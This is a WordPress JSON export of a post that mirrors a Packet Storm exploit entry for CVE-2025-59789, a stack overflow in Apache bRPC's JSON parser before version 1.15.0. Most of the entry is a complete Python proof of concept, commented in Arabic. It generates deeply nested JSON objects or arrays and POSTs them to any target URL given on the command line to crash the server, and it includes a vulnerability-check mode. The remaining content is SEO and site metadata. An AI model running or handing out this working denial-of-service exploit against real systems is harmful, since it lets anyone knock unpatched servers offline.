{"id":28894,"date":"2025-12-05T13:40:42","date_gmt":"2025-12-05T13:40:42","guid":{"rendered":"http:\/\/localhost\/?p=28894"},"modified":"2025-12-05T13:40:42","modified_gmt":"2025-12-05T13:40:42","slug":"apache-brpc-stack-overflow","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=28894","title":{"rendered":"\ud83d\udcc4 Apache bRPC Stack Overflow_PACKETSTORM:212503"},"content":{"rendered":"

{“lastseen”:”2025-12-05T18:52:10″,”description”:”A critical stack overflow vulnerability in Apache bRPC’s JSON parser allows remote attackers to crash servers via specially crafted deep recursive JSON data. Versions prior to 1.15.0 are affected…”,”published”:”2025-12-05T00:00:00″,”modified”:”2025-12-05T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Apache bRPC Stack Overflow”,”source”:””,”references”:””,”id”:”PACKETSTORM:212503″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-59789″],”sourceData”:”=============================================================================================================================================\\n | # Title : Apache bRPC prior to 1.15.0 Stack Overflow via Deep Recursive JSON |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits) |\\n | # Vendor : https:\/\/brpc.apache.org\/ |\\n =============================================================================================================================================\\n \\n [+] References : https:\/\/packetstorm.news\/files\/id\/212248\/ \\u0026 CVE-2025-59789\\n \\n [+] Summary : Critical stack overflow vulnerability in Apache bRPC’s JSON parser that allows remote attackers to crash servers via specially crafted deep recursive JSON data.\\n \\n [+] POC : python poc.py\\n \\n #!\/usr\/bin\/env python3\\n \\”\\”\\”\\n Proof of Concept (PoC) for CVE-2025-59789\\n by indoushka\\n \\”\\”\\”\\n \\n import json\\n import requests\\n import sys\\n \\n def generate_deep_nested_json(depth=1000):\\n \\”\\”\\”\\n \u0625\u0646\u0634\u0627\u0621 JSON \u0645\u0639 \u0628\u0646\u064a\u0629 \u0645\u062a\u062f\u0627\u062e\u0644\u0629 \u0628\u0639\u0645\u0642 \u0643\u0628\u064a\u0631\\n \\”\\”\\”\\n data = {}\\n current = data\\n \\n for i in range(depth):\\n current[\\”nested\\”] = {}\\n current = current[\\”nested\\”]\\n \\n current[\\”value\\”] = \\”exploit\\”\\n return json.dumps(data)\\n \\n def generate_deep_array_json(depth=1000):\\n \\”\\”\\”\\n \u0625\u0646\u0634\u0627\u0621 JSON \u0645\u0639 \u0645\u0635\u0641\u0648\u0641\u0629 \u0645\u062a\u062f\u0627\u062e\u0644\u0629 \u0628\u0639\u0645\u0642 \u0643\u0628\u064a\u0631\\n \\”\\”\\”\\n data = []\\n current = data\\n \\n for i in range(depth):\\n new_array = []\\n current.append(new_array)\\n current = new_array\\n \\n current.append(\\”exploit\\”)\\n return json.dumps(data)\\n \\n def send_exploit(target_url, depth=10000, exploit_type=\\”object\\”):\\n \\”\\”\\”\\n \u0625\u0631\u0633\u0627\u0644 \u0628\u064a\u0627\u0646\u0627\u062a JSON \u0645\u062a\u062f\u0627\u062e\u0644\u0629 \u0628\u0639\u0645\u0642 \u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0627\u0644\u062b\u063a\u0631\u0629\\n \\n Args:\\n target_url: \u0639\u0646\u0648\u0627\u0646 URL \u0644\u0644\u062e\u0627\u062f\u0645 \u0627\u0644\u0645\u062a\u0623\u062b\u0631\\n depth: \u0639\u0645\u0642 \u0627\u0644\u062a\u062f\u0627\u062e\u0644 (\u0643\u0644\u0645\u0627 \u0632\u0627\u062f \u0627\u0644\u0639\u0645\u0642\u060c \u0632\u0627\u062f \u0627\u062d\u062a\u0645\u0627\u0644 \u0627\u0644\u062a\u0633\u0628\u0628 \u0641\u064a stack overflow)\\n exploit_type: \u0646\u0648\u0639 \u0627\u0644\u0628\u064a\u0627\u0646\u0627\u062a (\\”object\\” \u0623\u0648 \\”array\\”)\\n \\”\\”\\”\\n \\n print(f\\”[*] \u0625\u0639\u062f\u0627\u062f \u0647\u062c\u0648\u0645 Stack Overflow \u0639\u0644\u0649: {target_url}\\”)\\n print(f\\”[*] \u0646\u0648\u0639 \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644: {exploit_type}\\”)\\n print(f\\”[*] \u0639\u0645\u0642 \u0627\u0644\u062a\u062f\u0627\u062e\u0644: {depth}\\”)\\n \\n # \u0625\u0646\u0634\u0627\u0621 \u0628\u064a\u0627\u0646\u0627\u062a JSON \u0645\u062a\u062f\u0627\u062e\u0644\u0629\\n if exploit_type == \\”object\\”:\\n print(\\”[*] \u0625\u0646\u0634\u0627\u0621 JSON \u0645\u0639 \u0643\u0627\u0626\u0646\u0627\u062a \u0645\u062a\u062f\u0627\u062e\u0644\u0629…\\”)\\n payload = generate_deep_nested_json(depth)\\n else:\\n print(\\”[*] \u0625\u0646\u0634\u0627\u0621 JSON \u0645\u0639 \u0645\u0635\u0641\u0648\u0641\u0627\u062a \u0645\u062a\u062f\u0627\u062e\u0644\u0629…\\”)\\n payload = generate_deep_array_json(depth)\\n \\n print(f\\”[*] \u062d\u062c\u0645 \u0627\u0644\u062d\u0645\u0648\u0644\u0629: {len(payload)} \u0628\u0627\u064a\u062a\\”)\\n \\n # \u0625\u0639\u062f\u0627\u062f \u0627\u0644\u0647\u064a\u062f\u0631\u0627\u062a (\u062a\u0639\u062f\u064a\u0644 \u062d\u0633\u0628 \u0648\u0627\u062c\u0647\u0629 \u0628\u0631\u0648\u062a\u0648\u0643\u0648\u0644 \u0627\u0644\u062e\u0627\u062f\u0645)\\n headers = {\\n ‘Content-Type’: ‘application\/json’,\\n ‘User-Agent’: ‘CVE-2025-59789-PoC’\\n }\\n \\n try:\\n print(\\”[*] \u0625\u0631\u0633\u0627\u0644 \u0627\u0644\u0637\u0644\u0628…\\”)\\n response = requests.post(\\n target_url,\\n data=payload,\\n headers=headers,\\n timeout=30\\n )\\n \\n print(f\\”[*] \u0627\u0633\u062a\u062c\u0627\u0628\u0629 \u0627\u0644\u062e\u0627\u062f\u0645: {response.status_code}\\”)\\n \\n # \u0627\u0644\u062a\u062d\u0642\u0642 \u0645\u0646 \u062a\u0623\u062b\u064a\u0631 \u0627\u0644\u0647\u062c\u0648\u0645\\n if response.status_code \\u003e= 500:\\n print(\\”[+] \u0646\u062c\u0627\u062d \u0645\u062d\u062a\u0645\u0644! \u0642\u062f \u064a\u0643\u0648\u0646 \u0627\u0644\u062e\u0627\u062f\u0645 \u0642\u062f \u062a\u0639\u0637\u0644\\”)\\n else:\\n print(\\”[-] \u0627\u0644\u062e\u0627\u062f\u0645 \u0644\u0627 \u064a\u0632\u0627\u0644 \u064a\u0633\u062a\u062c\u064a\u0628\\”)\\n \\n except requests.exceptions.ConnectionError:\\n print(\\”[+] \u0646\u062c\u0627\u062d! \u0641\u0642\u062f \u0627\u0644\u0627\u062a\u0635\u0627\u0644 \u0628\u0627\u0644\u062e\u0627\u062f\u0645 – \u0631\u0628\u0645\u0627 \u062a\u0639\u0637\u0644 \u0628\u0633\u0628\u0628 stack overflow\\”)\\n except requests.exceptions.ReadTimeout:\\n print(\\”[+] \u0646\u062c\u0627\u062d \u0645\u062d\u062a\u0645\u0644! \u0627\u0646\u062a\u0647\u062a \u0645\u0647\u0644\u0629 \u0627\u0644\u062e\u0627\u062f\u0645 – \u0631\u0628\u0645\u0627 \u0647\u0648 \u0641\u064a \u062d\u0627\u0644\u0629 \u062a\u0648\u0642\u0641\\”)\\n except Exception as e:\\n print(f\\”[!] \u062e\u0637\u0623: {e}\\”)\\n \\n def check_vulnerability(target_url):\\n \\”\\”\\”\\n \u0627\u0644\u062a\u062d\u0642\u0642 \u0645\u0646 \u0648\u062c\u0648\u062f \u0627\u0644\u062b\u063a\u0631\u0629 \u0628\u0625\u0631\u0633\u0627\u0644 \u0639\u0645\u0642 \u062a\u062f\u0627\u062e\u0644 \u0645\u062a\u0648\u0633\u0637\\n \\”\\”\\”\\n print(\\”[*] \u0627\u0644\u062a\u062d\u0642\u0642 \u0645\u0646 \u0648\u062c\u0648\u062f \u0627\u0644\u062b\u063a\u0631\u0629…\\”)\\n \\n # \u0639\u0645\u0642 \u0622\u0645\u0646 \u0644\u0644\u0627\u062e\u062a\u0628\u0627\u0631 (\u0623\u0642\u0644 \u0645\u0646 100)\\n safe_depth = 50\\n safe_payload = generate_deep_nested_json(safe_depth)\\n \\n headers = {\\n ‘Content-Type’: ‘application\/json’\\n }\\n \\n try:\\n response = requests.post(\\n target_url,\\n data=safe_payload,\\n headers=headers,\\n timeout=10\\n )\\n \\n if response.status_code == 200:\\n print(\\”[*] \u0627\u0644\u062e\u0627\u062f\u0645 \u064a\u0633\u062a\u062c\u064a\u0628 \u0644\u0644\u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0644\u0645\u062a\u062f\u0627\u062e\u0644\u0629 \u0627\u0644\u0622\u0645\u0646\u0629\\”)\\n \\n # \u0645\u062d\u0627\u0648\u0644\u0629 \u0628\u0639\u0645\u0642 \u0623\u0643\u0628\u0631 (200 – \u064a\u062c\u0628 \u0623\u0646 \u064a\u0641\u0634\u0644 \u0641\u064a \u0627\u0644\u0625\u0635\u062f\u0627\u0631 \u0627\u0644\u0645\u0635\u062d\u062d)\\n dangerous_depth = 200\\n dangerous_payload = generate_deep_nested_json(dangerous_depth)\\n \\n try:\\n response2 = requests.post(\\n target_url,\\n data=dangerous_payload,\\n headers=headers,\\n timeout=10\\n )\\n \\n if response2.status_code == 200:\\n print(\\”[-] \u0627\u0644\u062e\u0627\u062f\u0645 \u064a\u0642\u0628\u0644 \u0639\u0645\u0642 200 – \u0631\u0628\u0645\u0627 \u063a\u064a\u0631 \u0645\u0635\u062d\u062d\\”)\\n else:\\n print(\\”[+] \u0627\u0644\u062e\u0627\u062f\u0645 \u064a\u0631\u0641\u0636 \u0639\u0645\u0642 200 – \u0631\u0628\u0645\u0627 \u062a\u0645 \u062a\u0635\u062d\u064a\u062d\u0647\\”)\\n \\n except:\\n print(\\”[+] \u0627\u0644\u062e\u0627\u062f\u0645 \u0642\u062f \u064a\u0643\u0648\u0646 \u0645\u062a\u0623\u062b\u0631\u0627\u064b\\”)\\n \\n except Exception as e:\\n print(f\\”[!] \u062e\u0637\u0623 \u0641\u064a \u0627\u0644\u062a\u062d\u0642\u0642: {e}\\”)\\n \\n if __name__ == \\”__main__\\”:\\n print(\\”=\\” * 60)\\n print(\\”PoC for CVE-2025-59789 – Apache bRPC Stack Overflow\\”)\\n print(\\”Affected: bRPC \\u003c 1.15.0 with json2pb component\\”)\\n print(\\”=\\” * 60)\\n \\n if len(sys.argv) \\u003c 2:\\n print(f\\”Usage: {sys.argv[0]} \\u003ctarget_url\\u003e [depth] [type]\\”)\\n print(f\\”Example: {sys.argv[0]} http:\/\/localhost:8080\/api 10000 object\\”)\\n print(f\\”Example: {sys.argv[0]} http:\/\/localhost:8080\/api 5000 array\\”)\\n print(f\\”Check: {sys.argv[0]} http:\/\/localhost:8080\/api check\\”)\\n sys.exit(1)\\n \\n target_url = sys.argv[1]\\n \\n if len(sys.argv) \\u003e 2 and sys.argv[2] == \\”check\\”:\\n check_vulnerability(target_url)\\n else:\\n depth = int(sys.argv[2]) if len(sys.argv) \\u003e 2 else 10000\\n exploit_type = sys.argv[3] if len(sys.argv) \\u003e 3 else \\”object\\”\\n \\n if depth \\u003e 100000:\\n print(\\”[!] \u062a\u062d\u0630\u064a\u0631: \u0639\u0645\u0642 \u0643\u0628\u064a\u0631 \u062c\u062f\u0627\u064b \u0642\u062f \u064a\u062a\u0633\u0628\u0628 \u0641\u064a \u0645\u0634\u0627\u0643\u0644 \u0644\u0644\u062c\u0647\u0627\u0632 \u0627\u0644\u0645\u0647\u0627\u062c\u0645\\”)\\n confirm = input(\\”[?] \u0647\u0644 \u062a\u0631\u064a\u062f \u0627\u0644\u0645\u062a\u0627\u0628\u0639\u0629\u061f (y\/n): \\”)\\n if confirm.lower() != ‘y’:\\n sys.exit(0)\\n \\n send_exploit(target_url, depth, exploit_type)\\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/212503″,”cvss”:{“score”:7.5,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:N\/I:N\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/212503\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"

{“lastseen”:”2025-12-05T18:52:10″,”description”:”A critical stack overflow vulnerability in Apache bRPC’s JSON parser allows remote attackers to crash servers via specially crafted deep recursive JSON data. Versions prior…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,16,12,15,13,53,7,11,5],"class_list":["post-28894","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-75","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n\ud83d\udcc4 Apache bRPC Stack Overflow_PACKETSTORM:212503 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=28894\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Apache bRPC Stack Overflow_PACKETSTORM:212503 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{“lastseen”:”2025-12-05T18:52:10″,”description”:”A critical stack overflow vulnerability in Apache bRPC’s JSON parser allows remote attackers to crash servers via specially crafted deep recursive JSON data. Versions prior...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=28894\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-12-05T13:40:42+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=28894#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=28894\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Apache bRPC Stack Overflow_PACKETSTORM:212503\",\"datePublished\":\"2025-12-05T13:40:42+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=28894\"},\"wordCount\":820,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-7.5\",\"exploit\",\"HIGH\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=28894#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=28894\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=28894\",\"name\":\"\ud83d\udcc4 Apache bRPC Stack Overflow_PACKETSTORM:212503 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-12-05T13:40:42+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=28894#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=28894\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=28894#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Apache bRPC Stack Overflow_PACKETSTORM:212503\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Apache bRPC Stack Overflow_PACKETSTORM:212503 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=28894","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Apache bRPC Stack Overflow_PACKETSTORM:212503 - zero redgem","og_description":"{“lastseen”:”2025-12-05T18:52:10″,”description”:”A critical stack overflow vulnerability in Apache bRPC’s JSON parser allows remote attackers to crash servers via specially crafted deep recursive JSON data. Versions prior...","og_url":"https:\/\/zero.redgem.net\/?p=28894","og_site_name":"zero redgem","article_published_time":"2025-12-05T13:40:42+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"4 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=28894#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=28894"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Apache bRPC Stack Overflow_PACKETSTORM:212503","datePublished":"2025-12-05T13:40:42+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=28894"},"wordCount":820,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-7.5","exploit","HIGH","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=28894#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=28894","url":"https:\/\/zero.redgem.net\/?p=28894","name":"\ud83d\udcc4 Apache bRPC Stack Overflow_PACKETSTORM:212503 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-12-05T13:40:42+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=28894#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=28894"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=28894#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Apache bRPC Stack Overflow_PACKETSTORM:212503"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/28894","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=28894"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/28894\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=28894"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=28894"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=28894"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}